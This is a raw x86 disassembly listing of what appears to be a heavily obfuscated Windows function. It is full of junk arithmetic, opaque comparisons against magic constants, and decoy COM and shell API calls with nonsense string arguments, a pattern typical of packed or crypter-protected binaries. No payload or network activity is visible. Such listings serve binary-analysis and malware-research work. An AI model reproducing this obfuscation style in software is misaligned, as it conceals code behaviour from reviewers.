mov dword [ebp - 0x1a70], edx
cmp dword [ebp - 0x1a70], 0x1090a6de
je 0x4c5947
mov eax, dword [ebp - 0x1360]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x11b1]
add ecx, edx
movzx eax, byte [ebp - 0x69d]
mov edx, dword [ebp - 0x768]
movzx edx, byte [edx]
and eax, edx
cmp ecx, eax
jne 0x4c599e
jmp 0x4c59b4
mov ecx, dword [ebp - 0xf50]
mov edx, dword [ebp - 0xbd4]
sub edx, dword [ecx]
mov dword [0x519d90], edx
mov eax, dword [ebp - 0xde0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x468]
mov dword [ebp - 0xa1c], ecx
mov edx, dword [ebp - 0x18dc]
mov eax, dword [ebp - 0xa1c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x1090], eax
movzx ecx, word [ebp - 0xd8]
mov dword [ebp - 0x1a74], ecx
cmp dword [ebp - 0x1a74], 0xc96
je 0x4c5a98
cmp dword [ebp - 0x1a74], 0xff1
je 0x4c5a0c
mov edx, dword [ebp - 0x9bc]
mov eax, dword [0x519dbc]
and eax, dword [edx]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x118c]
push ecx
lea edx, [ebp - 0x1038]
push edx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0x5b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x790]
add ecx, dword [edx]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0xa20]
push eax
call section..text
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ecx]
mov dword [ebp - 0x1a78], edx
cmp dword [ebp - 0x1a78], 0x334a6e5f
je 0x4c5bd3
lea eax, [ebp - 0xce8]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xc30], eax
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x108c]
mov eax, dword [ebp - 0x9bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [ebp - 0x1000]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x13e8], eax
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x41c]
add edx, dword [eax]
mov dword [ebp - 0xa1c], edx
lea ecx, [ebp - 0x38c]
push ecx
lea edx, [ebp - 0x15c]
push edx
call dword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [ebp - 0x194], eax
movzx eax, word [ebp - 0xa20]
movzx ecx, word [ebp - 0x75c]
add eax, ecx
mov edx, dword [ebp - 0xc64]
mov word [edx], ax
mov eax, dword [ebp - 0xc54]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x10a1]
sub ecx, edx
mov byte [0x51900b], cl
mov eax, dword [ebp - 0x7dc]
and eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x12cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x82c]
add edx, dword [section..data]
mov dword [ebp - 0xa1c], edx
jmp 0x4d0d35
movzx eax, byte [ebp - 0x11b1]
movzx ecx, byte [ebp - 0xdd5]
or eax, ecx
mov edx, dword [ebp - 0x1360]
mov byte [edx], al
movzx eax, word [ebp - 0x75c]
mov dword [ebp - 0x1b18], eax
cmp dword [ebp - 0x1b18], 0x41a
je 0x4d0d63
cmp dword [ebp - 0x1b18], 0x764
je 0x4d0e35
jmp 0x4d0e4d
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x8d8]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0xd28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x108c]
add edx, dword [section..data]
mov eax, dword [ebp - 0x1090]
sub eax, dword [ebp - 0x82c]
cmp edx, eax
jle 0x4d0e33
push 0
mov ecx, dword [ebp - 0xcf4]
push ecx
mov edx, dword [ebp - 0xcf8]
push edx
mov eax, dword [ebp - 0x808]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0xb64], eax
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xfbc], eax
mov ecx, dword [0x519004]
sub ecx, dword [ebp - 0x1090]
mov edx, dword [ebp - 0x790]
mov dword [edx], ecx
push 0x8b
lea eax, [ebp - 0x15c]
push eax
lea ecx, [ebp - 0x184c]
push ecx
call dword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [ebp - 0x82c], eax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x1090]
add eax, dword [edx]
mov ecx, dword [ebp - 0x790]
mov dword [ecx], eax
mov edx, dword [ebp - 0xde0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa1c]
sar eax, cl
mov dword [ebp - 0x108c], eax
jmp 0x4d0e4d
push 0xa3
lea ecx, [ebp - 0xf70]
push ecx
call dword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [ebp - 0x6d0], eax
movzx edx, word [ebp - 0x8ac]
mov dword [ebp - 0x1b1c], edx
cmp dword [ebp - 0x1b1c], 0x667
je 0x4d0e68
jmp 0x4d0e95
movsx eax, word [ebp - 0xfc0]
movsx ecx, word [ebp - 0x1a8]
sub eax, ecx
movsx edx, word [ebp - 0x1084]
mov ecx, dword [ebp - 0xfe4]
movsx ecx, word [ecx]
and edx, ecx
cmp eax, edx
jl 0x4d0e93
call fcn.004d7e60
jmp 0x4d0ebb
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x9bc]
mov edx, dword [ebp - 0x1090]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x108c], edx
jmp 0x4d0eee
movzx eax, byte [ebp - 0x7c2]
movzx ecx, byte [ebp - 0xdd5]
sub eax, ecx
mov byte [ebp - 0xe81], al
movzx edx, word [ebp - 0xa20]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x658]
mov word [eax], dx
movzx ecx, word [ebp - 0x8ac]
push ecx
mov edx, dword [ebp - 0x13b8]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x9a4]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0xde4]
mov dl, byte [eax]
mov ecx, dword [ebp - 0xa24]
mov cl, byte [ecx]
call fcn.00478870
jmp 0x4d0fbd
mov edx, dword [ebp - 0x12cc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x154]
shl eax, cl
mov dword [ebp - 0x2e0], eax
movzx edx, word [ebp - 0x75c]
mov dword [ebp - 0x1b20], edx
cmp dword [ebp - 0x1b20], 0xf56
je 0x4d0f57
jmp 0x4d0f71
mov eax, dword [ebp - 0x32c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xdd5]
and ecx, edx
mov eax, dword [ebp - 0x6cc]
mov byte [eax], cl
movsx ecx, word [ebp - 0xfc0]
mov edx, dword [ebp - 0xfa8]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [0x519dfc]
mov word [edx], cx
push 0xaf
lea eax, [ebp - 0x11a0]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0xde4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0xc64]
movzx ecx, word [eax]
push ecx
call section..text
movsx edx, word [ebp - 0xfc0]
movsx eax, word [0x519d74]
sub edx, eax
mov ecx, dword [ebp - 0x9a4]
mov word [ecx], dx
lea edx, [ebp - 0x1180]
push edx
lea eax, [ebp - 0x1cc]
push eax
push 0x5c
push 0x92
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x1b24], ecx
cmp dword [ebp - 0x1b24], 0x458275a4
je 0x4d100b
jmp 0x4d1033
push 0x89
lea edx, [ebp - 0xd10]
push edx
push 0xa
lea eax, [ebp - 0x358]
push eax
lea ecx, [ebp - 0x1084]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [ebp - 0x100], eax
push 0x6c
lea edx, [ebp - 0x1a8]
push edx
push 0x70
lea eax, [ebp - 0x700]
push eax
lea ecx, [ebp - 0x12c4]
push ecx
lea edx, [ebp - 0xa1c]
push edx
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0xe94], eax
mov eax, dword [ebp - 0x11bc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17d]
sub ecx, edx
mov byte [ebp - 0xe2d], cl
movzx eax, word [0x519008]
movzx ecx, word [ebp - 0xa20]
add eax, ecx
mov edx, dword [ebp - 0xa28]
mov word [edx], ax
mov eax, dword [ebp - 0x468]
push eax
mov ecx, dword [ebp - 0xa24]
movzx edx, byte [ecx]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x9bc]
add ecx, dword [edx]
mov eax, dword [ebp - 0xa2c]
mov dword [eax], ecx
lea ecx, [ebp - 0x1430]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xe70], eax
call fcn.0046d040
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
mov dword [ebp - 0x1b28], eax
cmp dword [ebp - 0x1b28], 0xa88
je 0x4d10f6
jmp 0x4d1111
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x10b4], dx
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa24]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x6cc]
mov byte [ecx], al
movzx edx, byte [ebp - 0x7c2]
push edx
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
push ecx
call section..text
jmp 0x4d1165
mov edx, dword [ebp - 0xfb8]
push edx
call dword [sym.imp.SHELL32.dll_DragFinish]
mov eax, dword [ebp - 0xb64]
sub eax, dword [ebp - 0x13e8]
mov dword [ebp - 0x468], eax
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x82c]
mov eax, dword [ebp - 0x118]
mov dword [eax], edx
movsx ecx, word [ebp - 0xfc0]
mov dword [ebp - 0x1b2c], ecx
cmp dword [ebp - 0x1b2c], 0x7e2a
je 0x4d1196
jmp 0x4d11ac
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x13e8]
add eax, dword [edx]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x82c]
sub edx, dword [section..data]
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0x468]
add ecx, dword [eax]
cmp edx, ecx
jl 0x4d11de
mov edx, dword [ebp - 0xd28]
mov eax, dword [ebp - 0x7dc]
add eax, dword [edx]
mov dword [ebp - 0xfbc], eax
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x32c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x92d], dl
lea edx, [ebp - 0x898]
push edx
lea eax, [ebp - 0x1050]
push eax
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [ebp - 0x13a4], eax
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x75c]
add edx, eax
mov ecx, dword [ebp - 0xa28]
mov word [ecx], dx
mov edx, dword [ebp - 0x82c]
push edx
movzx eax, byte [ebp - 0x92d]
push eax
call fcn.004ef7c0
add esp, 8
movzx ecx, word [ebp - 0x75c]
mov dword [ebp - 0x1b30], ecx
cmp dword [ebp - 0x1b30], 0xfac
je 0x4d125f
jmp 0x4d1274
lea edx, [ebp - 0xc2c]
push edx
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0xc30], eax
jmp 0x4d12a5
movzx eax, word [ebp - 0x8ac]
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0xa28]
mov word [ecx], ax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x41c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x82c], ecx
jmp 0x4d132b
mov edx, dword [ebp - 0x11bc]
mov al, byte [edx]
mov byte [ebp - 0x1b34], al
cmp byte [ebp - 0x1b34], 0x48
je 0x4d12c3
jmp 0x4d12c5
jmp 0x4d12dd
movzx ecx, byte [ebp - 0x92d]
movzx edx, byte [ebp - 0x665]
sub ecx, edx
mov eax, dword [ebp - 0x32c]
mov byte [eax], cl
mov ecx, dword [ebp - 0xb64]
sub ecx, dword [ebp - 0x468]
mov edx, dword [ebp - 0x118]
mov dword [edx], ecx
lea eax, [ebp - 0xf60]
push eax
lea ecx, [ebp - 0x11bc]
push ecx
lea edx, [ebp - 0x12c4]
push edx
lea eax, [ebp - 0x1108]
push eax
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0x898], eax
mov ecx, dword [ebp - 0x108c]
add ecx, dword [ebp - 0xb64]
mov dword [ebp - 0x468], ecx
mov edx, dword [ebp - 0x320]
mov eax, dword [ebp - 0x18b8]
and eax, dword [edx]
mov ecx, dword [ebp - 0x12cc]
mov dword [ecx], eax
call dword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [ebp - 0x18c], eax
movzx edx, byte [ebp - 0x665]
push edx
movzx eax, word [ebp - 0xa20]
push eax
call section..text
lea ecx, [ebp - 0x12c4]
push ecx
push str.Pussycat_morbidly_omit
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0xe1c], eax
movzx edx, word [ebp - 0x10b4]
movzx eax, word [ebp - 0xa20]
add edx, eax
mov ecx, dword [ebp - 0x658]
mov word [ecx], dx
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
push edx
call section..text
jmp 0x4d13c7
mov eax, dword [ebp - 0xa24]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x11bc]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xfc0]
and edx, eax
mov ecx, dword [0x519dfc]
mov word [ecx], dx
jmp 0x4d142d
mov edx, dword [ebp - 0x3ec]
mov eax, dword [ebp - 0x13e8]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
and eax, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], eax
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x92d]
sub edx, eax
mov ecx, dword [ebp - 0x32c]
mov byte [ecx], dl
call fcn.0046d040
mov edx, dword [ebp - 0x108c]
mov ecx, dword [ebp - 0x13e8]
sar edx, cl
mov dword [ebp - 0x82c], edx
mov eax, dword [ebp - 0xfa8]
movsx edx, word [eax]
movsx ecx, word [0x519d74]
shl edx, cl
mov eax, dword [0x519dfc]
mov word [eax], dx
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ebp - 0x320]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x18b8], eax
lea ecx, [ebp - 0x11a0]
push ecx
push str.Superstition_stereotypical_Doldrums_Bating
call dword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [ebp - 0x18c], eax
jmp 0x4d156d
lea edx, [ebp - 0x2e0]
push edx
call dword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax]
mov dword [ebp - 0x1b38], ecx
cmp dword [ebp - 0x1b38], 0xbbd5af02
je 0x4d14cc
cmp dword [ebp - 0x1b38], 0xe35f3474
je 0x4d150f
jmp 0x4d156d
mov edx, dword [ebp - 0xd64]
add edx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x1108]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10b4]
push ecx
movzx edx, byte [ebp - 0xe2d]
push edx
movzx eax, word [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 0x1360]
mov dl, byte [ecx]
mov eax, dword [ebp - 0x32c]
mov cl, byte [eax]
call fcn.00478870
jmp 0x4d156d
movzx ecx, byte [ebp - 0x92d]
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x665], cl
push 0xc9
lea ecx, [ebp - 0xe1c]
push ecx
lea edx, [ebp - 0x10b4]
push edx
push 0xb8
mov eax, dword [ebp - 0x80c]
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [ebp - 0xfbc], eax
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x358]
mov word [edx], cx
movsx eax, word [ebp - 0x1a8]
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx ecx, word [0x519d74]
and edx, ecx
cmp eax, edx
jle 0x4d160a
mov edx, dword [ebp - 0xfa8]
movsx eax, word [edx]
mov dword [ebp - 0x1b3c], eax
cmp dword [ebp - 0x1b3c], 0x912
je 0x4d15b2
jmp 0x4d15f0
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x12cc]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1108]
mov dword [ecx], edx
lea edx, [ebp - 0x13e8]
push edx
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0x13a4], eax
mov eax, dword [0x519004]
sub eax, dword [ebp - 0x13e8]
mov dword [ebp - 0x108c], eax
jmp 0x4d1608
mov ecx, dword [ebp - 0x41c]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
jmp 0x4d161e
mov edx, dword [ebp - 0xd64]
mov eax, dword [ebp - 0x358]
mov cx, word [eax]
call fcn.004721c0
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ecx]
mov dword [ebp - 0x1b40], edx
cmp dword [ebp - 0x1b40], 0x3c76d6ef
je 0x4d1646
cmp dword [ebp - 0x1b40], 0x6bc91b7f
je 0x4d1699
jmp 0x4d16ad
mov eax, dword [ebp - 0x12cc]
mov ecx, dword [ebp - 0x2e0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x320]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [ebp - 0x13e8]
add ecx, dword [eax]
mov dword [section..data], ecx
lea edx, [ebp - 0x1248]
push edx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x82c]
and eax, dword [ebp - 0x108c]
mov ecx, dword [ebp - 0x13b4]
mov dword [ecx], eax
jmp 0x4d16ad
mov edx, dword [ebp - 0x18b8]
mov eax, dword [ebp - 0x181c]
mov cx, word [eax]
call fcn.004721c0
jmp 0x4d17e9
lea ecx, [ebp - 0x80c]
push ecx
push 0x30
lea edx, [ebp - 0x95c]
push edx
call dword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0x108c]
mov ecx, dword [ebp - 0x13e8]
shl eax, cl
mov ecx, dword [ebp - 0x3ec]
mov dword [ecx], eax
movsx edx, word [ebp - 0x1a8]
movsx eax, word [0x519d74]
sub edx, eax
mov ecx, dword [ebp - 0x9a4]
movsx eax, word [ecx]
mov ecx, dword [0x519dfc]
movsx ecx, word [ecx]
and eax, ecx
cmp edx, eax
jle 0x4d1795
movzx edx, word [ebp - 0xa20]
mov dword [ebp - 0x1b44], edx
cmp dword [ebp - 0x1b44], 0x1e2
je 0x4d1737
cmp dword [ebp - 0x1b44], 0xa3d
je 0x4d1754
jmp 0x4d1793
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x8ac], cx
jmp 0x4d1793
lea ecx, [ebp - 0xce8]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x700], eax
movzx edx, byte [ebp - 0x665]
mov eax, dword [ebp - 0x1360]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x6cc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x108c]
add ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], ecx
jmp 0x4d17e9
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8ac]
add eax, ecx
mov edx, dword [ebp - 0x181c]
movzx ecx, word [edx]
movzx edx, word [ebp - 0x75c]
add ecx, edx
cmp eax, ecx
jne 0x4d17e9
movzx eax, byte [ebp - 0x665]
push eax
mov ecx, dword [ebp - 0x18b8]
push ecx
movzx edx, word [ebp - 0x1a8]
push edx
movzx eax, byte [ebp - 0xe2d]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.00429f50
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
or eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x320]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x665]
add eax, ecx
mov edx, dword [ebp - 0x1360]
mov byte [edx], al
jmp 0x4d18ff
mov eax, dword [ebp - 0x1108]
mov ecx, dword [eax]
mov dword [ebp - 0x1b48], ecx
cmp dword [ebp - 0x1b48], 0xe84b27d1
je 0x4d18ef
cmp dword [ebp - 0x1b48], 0xf992cc74
je 0x4d184d
jmp 0x4d18ff
movsx edx, word [ebp - 0x1a8]
movsx eax, word [0x519d74]
or edx, eax
mov ecx, dword [ebp - 0x9a4]
movsx eax, word [ecx]
mov ecx, dword [0x519dfc]
movsx ecx, word [ecx]
xor eax, ecx
cmp edx, eax
jne 0x4d18ed
mov edx, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x3ec]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x82c], edx
lea eax, [ebp - 0x550]
push eax
call dword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [ebp - 0x18c], eax
movsx ecx, word [ebp - 0x1a8]
mov edx, dword [0x519dfc]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x9a4]
mov word [edx], cx
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x9a4]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.00429f50
jmp 0x4d18ff
movsx edx, byte [ebp - 0xe2d]
add edx, 0x26
mov byte [ebp - 0x81], dl
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
mov dword [ebp - 0x1b4c], ecx
cmp dword [ebp - 0x1b4c], 0x77d
je 0x4d191e
jmp 0x4d1936
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ebp - 0x7dc]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x320]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x665]
add eax, ecx
mov edx, dword [ebp - 0x1360]
mov byte [edx], al
movzx eax, word [ebp - 0x75c]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x8ac], ax
mov eax, dword [ebp - 0x1360]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1108]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0x1a8]
push ecx
movzx edx, byte [ebp - 0xe2d]
push edx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x92d]
add edx, eax
mov byte [ebp - 0x665], dl
lea ecx, [ebp - 0xf00]
push ecx
lea edx, [ebp - 0x1cc]
push edx
lea eax, [ebp - 0x390]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x2e0], eax
jmp 0x4d1ac9
movsx ecx, byte [ebp - 0x81]
sub ecx, 0x32
movsx edx, byte [ebp - 0xe2d]
cmp ecx, edx
jne 0x4d1ac9
mov eax, dword [ebp - 0x358]
movzx edx, word [eax]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0xa20]
movzx ecx, word [ebp - 0x8ac]
sar eax, cl
cmp edx, eax
jg 0x4d1ab1
mov ecx, dword [ebp - 0x2e0]
mov dword [ebp - 0x1b50], ecx
cmp dword [ebp - 0x1b50], 0x2eee3d43
je 0x4d1a94
cmp dword [ebp - 0x1b50], 0x9ba80449
je 0x4d1a41
jmp 0x4d1aaf
call dword [sym.imp.ole32.dll_CoTestCancel]
mov dword [ebp - 0xe1c], eax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x13e8]
sub eax, dword [edx]
mov dword [section..data], eax
movzx ecx, byte [ebp - 0x665]
movzx edx, byte [ebp - 0x92d]
add ecx, edx
mov eax, dword [ebp - 0x6cc]
mov byte [eax], cl
lea ecx, [ebp - 0x358]
push ecx
lea edx, [ebp - 0x584]
push edx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0xe1c], eax
jmp 0x4d1aaf
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1a8]
add ecx, edx
mov eax, dword [ebp - 0x9a4]
mov word [eax], cx
jmp 0x4d1ac9
lea ecx, [ebp - 0xd10]
push ecx
push str.Majorities_compartmentalising
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x13a4], eax
mov edx, dword [ebp - 0x118]
mov eax, dword [edx]
mov dword [ebp - 0x1b54], eax
cmp dword [ebp - 0x1b54], 0x117e7f9e
je 0x4d1ae5
jmp 0x4d1b11
mov ecx, dword [ebp - 0x320]
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x2e0], eax
mov edx, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x13e8]
shl edx, cl
mov eax, dword [ebp - 0x118]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0xe2d]
push eax
call fcn.004d1cd0
jmp 0x4d1b50
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ebp - 0x82c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x41c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0xe2d]
and ecx, 0x1a
mov byte [ebp - 0x81], cl
movsx edx, word [ebp - 0x1a8]
or edx, 0x3fd7
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
cmp edx, ecx
je 0x4d1bd2
mov dl, byte [ebp - 0x92d]
mov byte [ebp - 0x1b58], dl
cmp byte [ebp - 0x1b58], 0x16
je 0x4d1ba2
cmp byte [ebp - 0x1b58], 0x34
je 0x4d1b8a
jmp 0x4d1bd0
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x82c]
mov edx, dword [ebp - 0x41c]
mov dword [edx], ecx
jmp 0x4d1bd0
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x2e0]
push edx
movzx eax, word [ebp - 0x1a8]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, byte [ebp - 0xe2d]
push edx
call fcn.00429f50
jmp 0x4d1c00
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x13e8], ecx
mov edx, dword [ebp - 0xbfc]
push edx
mov eax, dword [ebp - 0x390]
push eax
call dword [sym.imp.SHELL32.dll_DuplicateIcon]
mov dword [ebp - 0x3f0], eax
jmp 0x4d1c74
movzx ecx, byte [ebp - 0x665]
movzx edx, byte [ebp - 0x92d]
sub ecx, edx
mov eax, dword [ebp - 0x6cc]
movzx edx, byte [eax]
cmp ecx, edx
jne 0x4d1c74
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x41c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e0]
mov dword [ebp - 0x1b5c], ecx
cmp dword [ebp - 0x1b5c], 0xf8edac1e
je 0x4d1c53
jmp 0x4d1c5a
call fcn.004d7e60
jmp 0x4d1c74
lea edx, [ebp - 0x700]
push edx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0x13a4], eax
movzx ecx, word [ebp - 0x8ac]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x358]
